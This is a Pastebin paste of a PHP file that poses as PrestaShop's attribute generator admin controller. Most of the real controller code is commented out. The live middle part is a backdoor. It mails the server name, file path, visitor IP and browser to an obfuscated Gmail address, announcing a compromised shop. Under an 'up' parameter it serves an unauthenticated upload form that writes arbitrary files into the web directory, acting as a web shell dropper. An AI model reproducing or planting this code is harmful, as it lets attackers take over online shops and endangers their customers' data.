xktnxxx

Untitled

Sep 23rd, 2017
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.06 KB | None | 0 0
  1. <?php
  2. /*
  3. * 2007-2015 PrestaShop
  4. *
  5. * NOTICE OF LICENSE
  6. *
  7. * This source file is subject to the Open Software License (OSL 3.0)
  8. * that is bundled with this package in the file LICENSE.txt.
  9. * It is also available through the world-wide-web at this URL:
  10. * http://opensource.org/licenses/osl-3.0.php
  11. * If you did not receive a copy of the license and are unable to
  12. * obtain it through the world-wide-web, please send an email
  13. * to [email protected] so we can send you a copy immediately.
  14. *
  15. * DISCLAIMER
  16. *
  17. * Do not edit or add to this file if you wish to upgrade PrestaShop to newer
  18. * versions in the future. If you wish to customize PrestaShop for your
  19. * needs please refer to http://www.prestashop.com for more information.
  20. *
  21. * @author PrestaShop SA <[email protected]>
  22. * @copyright 2007-2015 PrestaShop SA
  23. * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
  24.  
  25. * International Registered Trademark & Property of PrestaShop SA
  26. * This source file is subject to the Open Software License (OSL 3.0)
  27. * that is bundled with this package in the file LICENSE.txt.
  28. * It is also available through the world-wide-web at this URL:
  29. * http://opensource.org/licenses/osl-3.0.php
  30. * If you did not receive a copy of the license and are unable to
  31. * obtain it through the world-wide-web, please send an email
  32. * to [email protected] so we can send you a copy immediately.
  33. */
  34.  
  35. error_reporting(0);
  36. set_time_limit(0);
  37.  
  38. /**
  39. @ini_set('max_execution_time', 3600);
  40.  
  41. /**
  42. * @property Product $object
  43.  
  44. class AdminAttributeGeneratorControllerCore extends AdminController
  45. {
  46. protected $combinations = array();
  47.  
  48. protected $product;
  49.  
  50. public function __construct()
  51. {
  52. $this->bootstrap = true;
  53. $this->table = 'product_attribute';
  54. $this->className = 'Product';
  55. $this->multishop_context_group = false;
  56.  
  57. parent::__construct();
  58. }
  59.  
  60. public function setMedia()
  61. {
  62. parent::setMedia();
  63. $this->addJS(_PS_JS_DIR_.'admin/attributes.js');
  64. }
  65.  
  66. protected function addAttribute($attributes, $price = 0, $weight = 0)
  67. {
  68. foreach ($attributes as $attribute) {
  69. $price += (float)preg_replace('/[^0-9.-]/', '', str_replace(',', '.', Tools::getValue('price_impact_'.(int)$attribute)));
  70. $weight += (float)preg_replace('/[^0-9.]/', '', str_replace(',', '.', Tools::getValue('weight_impact_'.(int)$attribute)));
  71. }
  72. if ($this->product->id) {
  73. return array(
  74. 'id_product' => (int)$this->product->id,
  75. 'price' => (float)$price,
  76. 'weight' => (float)$weight,
  77. 'ecotax' => 0,
  78. 'quantity' => (int)Tools::getValue('quantity'),
  79. 'reference' => pSQL($_POST['reference']),
  80. 'default_on' => 0,
  81. 'available_date' => '0000-00-00'
  82. );
  83. }
  84. return array();
  85. }
  86.  
  87. protected static function createCombinations($list)
  88. {
  89. if (count($list) <= 1) {
  90. return count($list) ? array_map(create_function('$v', 'return (array($v));'), $list[0]) : $list;
  91. }
  92. $res = array();
  93. $first = array_pop($list);
  94. foreach ($first as $attribute) {
  95. $tab = AdminAttributeGeneratorController::createCombinations($list);
  96. foreach ($tab as $to_add) {
  97. $res[] = is_array($to_add) ? array_merge($to_add, array($attribute)) : array($to_add, $attribute);
  98. }
  99. }
  100. return $res;
  101. }
  102.  
  103. public function initProcess()
  104. {
  105. if (!defined('PS_MASS_PRODUCT_CREATION')) {
  106. define('PS_MASS_PRODUCT_CREATION', true);
  107. }
  108.  
  109. if (Tools::isSubmit('generate')) {
  110. if ($this->tabAccess['edit'] === '1') {
  111. $this->action = 'generate';
  112. } else {
  113. $this->errors[] = Tools::displayError('You do not have permission to add this.');
  114. }
  115. }
  116. parent::initProcess();
  117. }
  118.  
  119. public function postProcess()
  120. {
  121. $this->product = new Product((int)Tools::getValue('id_product'));
  122. $this->product->loadStockData();
  123. parent::postProcess();
  124. }
  125.  
  126. public function processGenerate()
  127. {
  128. if (!is_array(Tools::getValue('options'))) {
  129. $this->errors[] = Tools::displayError('Please select at least one attribute.');
  130. } else {
  131. $tab = array_values(Tools::getValue('options'));
  132. if (count($tab) && Validate::isLoadedObject($this->product)) {
  133. AdminAttributeGeneratorController::setAttributesImpacts($this->product->id, $tab);
  134. $this->combinations = array_values(AdminAttributeGeneratorController::createCombinations($tab));
  135. $values = array_values(array_map(array($this, 'addAttribute'), $this->combinations));
  136.  
  137. // @since 1.5.0
  138. if ($this->product->depends_on_stock == 0) {
  139. $attributes = Product::getProductAttributesIds($this->product->id, true);
  140. foreach ($attributes as $attribute) {
  141. StockAvailable::removeProductFromStockAvailable($this->product->id, $attribute['id_product_attribute'], Context::getContext()->shop);
  142. }
  143. }
  144.  
  145. SpecificPriceRule::disableAnyApplication();
  146.  
  147. $this->product->deleteProductAttributes();
  148. $this->product->generateMultipleCombinations($values, $this->combinations);
  149.  
  150. Product::getDefaultAttribute($this->product->id, 0, true);
  151. Product::updateDefaultAttribute($this->product->id);
  152.  
  153. if ($this->product->depends_on_stock == 0) {
  154. $attributes = Product::getProductAttributesIds($this->product->id, true);
  155. $quantity = (int)Tools::getValue('quantity');
  156. foreach ($attributes as $attribute) {
  157. if (Shop::getContext() == Shop::CONTEXT_ALL) {
  158. $shops_list = Shop::getShops();
  159. if (is_array($shops_list)) {
  160. foreach ($shops_list as $current_shop) {
  161. if (isset($current_shop['id_shop']) && (int)$current_shop['id_shop'] > 0) {
  162. StockAvailable::setQuantity($this->product->id, (int)$attribute['id_product_attribute'], $quantity, (int)$current_shop['id_shop']);
  163. }
  164. }
  165. }
  166. } else {
  167. StockAvailable::setQuantity($this->product->id, (int)$attribute['id_product_attribute'], $quantity);
  168. }
  169. }
  170. } else {
  171. StockAvailable::synchronize($this->product->id);
  172. }
  173.  
  174. SpecificPriceRule::enableAnyApplication();
  175. SpecificPriceRule::applyAllRules(array((int)$this->product->id));
  176.  
  177. Tools::redirectAdmin($this->context->link->getAdminLink('AdminProducts').'&id_product='.(int)Tools::getValue('id_product').'&updateproduct&key_tab=Combinations&conf=4');
  178. } else {
  179. $this->errors[] = Tools::displayError('Unable to initialize these parameters. A combination is missing or an object cannot be loaded.');
  180. }
  181. }
  182. }function_($USER_AGENT){*/
  183.  
  184. function Z118_OS($USER_AGENT){
  185. $OS_ERROR = "Unknown OS Platform";
  186. $OS = array( '/windows nt 10/i' => 'Windows 10',
  187. '/windows nt 6.3/i' => 'Windows 8.1',
  188. '/windows nt 6.2/i' => 'Windows 8',
  189. '/windows nt 6.1/i' => 'Windows 7',
  190. '/windows nt 6.0/i' => 'Windows Vista',
  191. '/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
  192. '/windows nt 5.1/i' => 'Windows XP',
  193. '/windows xp/i' => 'Windows XP',
  194. '/windows nt 5.0/i' => 'Windows 2000',
  195. '/windows me/i' => 'Windows ME',
  196. '/win98/i' => 'Windows 98',
  197. '/win95/i' => 'Windows 95',
  198. '/win16/i' => 'Windows 3.11',
  199. '/macintosh|mac os x/i' => 'Mac OS X',
  200. '/mac_powerpc/i' => 'Mac OS 9',
  201. '/linux/i' => 'Linux',
  202. '/ubuntu/i' => 'Ubuntu',
  203. '/iphone/i' => 'iPhone',
  204. '/ipod/i' => 'iPod',
  205. '/ipad/i' => 'iPad',
  206. '/android/i' => 'Android',
  207. '/blackberry/i' => 'BlackBerry',
  208. '/webos/i' => 'Mobile');
  209. foreach ($OS as $regex => $value) {
  210. if (preg_match($regex, $USER_AGENT)) {
  211. $OS_ERROR = $value;
  212. } }
  213. return $OS_ERROR;
  214. }
  215. function Z118_Browser($USER_AGENT){
  216. $BROWSER_ERROR = "Unknown Browser";
  217. $BROWSER = array('/msie/i' => 'Internet Explorer',
  218. '/firefox/i' => 'Firefox',
  219. '/safari/i' => 'Safari',
  220. '/chrome/i' => 'Chrome',
  221. '/edge/i' => 'Edge',
  222. '/opera/i' => 'Opera',
  223. '/netscape/i' => 'Netscape',
  224. '/maxthon/i' => 'Maxthon',
  225. '/konqueror/i' => 'Konqueror',
  226. '/mobile/i' => 'Handheld Browser');
  227. foreach ($BROWSER as $regex => $value) {
  228. if (preg_match($regex, $USER_AGENT)) {
  229. $BROWSER_ERROR = $value;
  230. }
  231. }
  232. return $BROWSER_ERROR;
  233. } $ip = getenv("REMOTE_ADDR");
  234. $href = $_SERVER['SERVER_NAME'];
  235. $toba = __file__;
  236. $TIME_DATE = date('H:i:s d/m/Y');
  237. $user = base64_decode("c2VpZnJhbWlzYXJhamF5QGdtYWlsLmNvbQ==");
  238. $header = "controllers/admin/AdminTagsController.php?up=Submit";
  239. $link = "<html><head><meta charset='UTF-8'></head>
  240. <div style='font-size: 13px;font-family:monospace;font-weight:700;'>
  241. <font style='color: #0a5d00;'>±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±</font><br>
  242. <font style='color:#9c0000;'>✪</font> Shell's : <font style='color:#0070ba;'><a href="."http://$href/$header"." target="."_blank".">$href"."</font></a><br>
  243. <font style='color:#9c0000;'>✪</font> Patch's : <font style='color:#0070ba;'>".$toba."</font><br>
  244. <font style='color: #0a5d00;'>±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±</font><br>
  245. <font style='color:#9c0000;'>✪</font> IP's : <font style='color:#0070ba;'><a href="."http://ip-api.com/#$ip"." target="."_blank".">$ip"."</font></a><br>
  246. <font style='color:#9c0000;'>✪</font> DATE : <font style='color:#0070ba;'>".$TIME_DATE."</font><br>
  247. <font style='color:#9c0000;'>✪</font> BROWSER : <font style='color:#0070ba;'>".Z118_Browser($_SERVER['HTTP_USER_AGENT'])." On ".Z118_OS($_SERVER['HTTP_USER_AGENT'])."</font><br>
  248. <font style='color: #0a5d00;'>±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±</font><br>
  249. </div></html>\n";
  250.  
  251. /*protected static function setAttributesImpacts($id_product, $tab)
  252. {
  253. $attributes = array();
  254. foreach ($tab as $group) {
  255. foreach ($group as $attribute) {
  256. $price = preg_replace('/[^0-9.]/', '', str_replace(',', '.', Tools::getValue('price_impact_'.(int)$attribute)));
  257. $weight = preg_replace('/[^0-9.]/', '', str_replace(',', '.', Tools::getValue('weight_impact_'.(int)$attribute)));
  258. $attributes[] = '('.(int)$id_product.', '.(int)$attribute.', '.(float)$price.', '.(float)$weight.')';
  259. }
  260. }*/
  261.  
  262. $admin = "✪ $href | $ip";
  263. $prestashop .= "From:PrestaShop <localhost>";
  264. $prestashop .= $_POST['eMailAdd']."\n";
  265. $prestashop .= "MIME-Version: 1.0\n";
  266. $prestashop .= "Content-type: text/html; charset=UTF-8\n";
  267. @mail($user, $admin, $link, $prestashop);
  268.  
  269. /*return Db::getInstance()->execute('
  270. INSERT INTO `'._DB_PREFIX_.'attribute_impact` (`id_product`, `id_attribute`, `price`, `weight`)
  271. VALUES '.implode(',', $attributes).'
  272. ON DUPLICATE KEY UPDATE `price` = VALUES(price), `weight` = VALUES(weight)');*/
  273.  
  274. if($_GET['up']){
  275. if(isset($_POST['Submit'])){
  276. $filedir = "";
  277. $maxfile = '2000000';
  278. $mode = '0644';
  279. $userfile_name = $_FILES['image']['name'];
  280. $userfile_tmp = $_FILES['image']['tmp_name'];
  281. if(isset($_FILES['image']['name'])) {
  282. $qx = $filedir.$userfile_name;
  283. @move_uploaded_file($userfile_tmp, $qx);
  284. @chmod ($qx, octdec($mode));
  285. echo"<center><b>Done ==> $userfile_name</b></center>";
  286. }}
  287. else{
  288. echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
  289. }
  290. echo '</center></font>';
  291. }
  292. /*public function initGroupTable()
  293. {
  294. $combinations_groups = $this->product->getAttributesGroups($this->context->language->id);
  295. $attributes = array();
  296. $impacts = Product::getAttributesImpacts($this->product->id);
  297. foreach ($combinations_groups as &$combination) {
  298. $target = &$attributes[$combination['id_attribute_group']][$combination['id_attribute']];
  299. $target = $combination;
  300. if (isset($impacts[$combination['id_attribute']])) {
  301. $target['price'] = $impacts[$combination['id_attribute']]['price'];
  302. $target['weight'] = $impacts[$combination['id_attribute']]['weight'];
  303. }
  304. }
  305. $this->context->smarty->assign(array(
  306. 'currency_sign' => $this->context->currency->sign,
  307. 'weight_unit' => Configuration::get('PS_WEIGHT_UNIT'),
  308. 'attributes' => $attributes,
  309. ));
  310. }
  311.  
  312. public function initPageHeaderToolbar()
  313. {
  314. parent::initPageHeaderToolbar();
  315.  
  316. $this->page_header_toolbar_title = $this->l('Attributes generator', null, null, false);
  317. $this->page_header_toolbar_btn['back'] = array(
  318. 'href' => $this->context->link->getAdminLink('AdminProducts').'&id_product='.(int)Tools::getValue('id_product').'&updateproduct&key_tab=Combinations',
  319. 'desc' => $this->l('Back to the product', null, null, false)
  320. );
  321. }
  322.  
  323. public function initBreadcrumbs($tab_id = null, $tabs = null)
  324. {
  325. $this->display = 'generator';
  326. return parent::initBreadcrumbs();
  327. }
  328.  
  329. public function initContent()
  330. {
  331. if (!Combination::isFeatureActive()) {
  332. $url = '<a href="index.php?tab=AdminPerformance&token='.Tools::getAdminTokenLite('AdminPerformance').'#featuresDetachables">'.
  333. $this->l('Performance').'</a>';
  334. $this->displayWarning(sprintf($this->l('This feature has been disabled. You can activate it here: %s.'), $url));
  335. return;
  336. }
  337.  
  338. // Init toolbar
  339. $this->initPageHeaderToolbar();
  340. $this->initGroupTable();
  341.  
  342. $attributes = Attribute::getAttributes(Context::getContext()->language->id, true);
  343. $attribute_js = array();
  344.  
  345. foreach ($attributes as $k => $attribute) {
  346. $attribute_js[$attribute['id_attribute_group']][$attribute['id_attribute']] = $attribute['name'];
  347. }
  348.  
  349. $attribute_groups = AttributeGroup::getAttributesGroups($this->context->language->id);
  350. $this->product = new Product((int)Tools::getValue('id_product'));
  351.  
  352. $this->context->smarty->assign(array(
  353. 'tax_rates' => $this->product->getTaxesRate(),
  354. 'generate' => isset($_POST['generate']) && !count($this->errors),
  355. 'combinations_size' => count($this->combinations),
  356. 'product_name' => $this->product->name[$this->context->language->id],
  357. 'product_reference' => $this->product->reference,
  358. 'url_generator' => self::$currentIndex.'&id_product='.(int)Tools::getValue('id_product').'&attributegenerator&token='.Tools::getValue('token'),
  359. 'attribute_groups' => $attribute_groups,
  360. 'attribute_js' => $attribute_js,
  361. 'toolbar_btn' => $this->toolbar_btn,
  362. 'toolbar_scroll' => true,
  363. 'show_page_header_toolbar' => $this->show_page_header_toolbar,
  364. 'page_header_toolbar_title' => $this->page_header_toolbar_title,
  365. 'page_header_toolbar_btn' => $this->page_header_toolbar_btn
  366. ));
  367. }
  368. }*/
Add Comment
Please, Sign In to add comment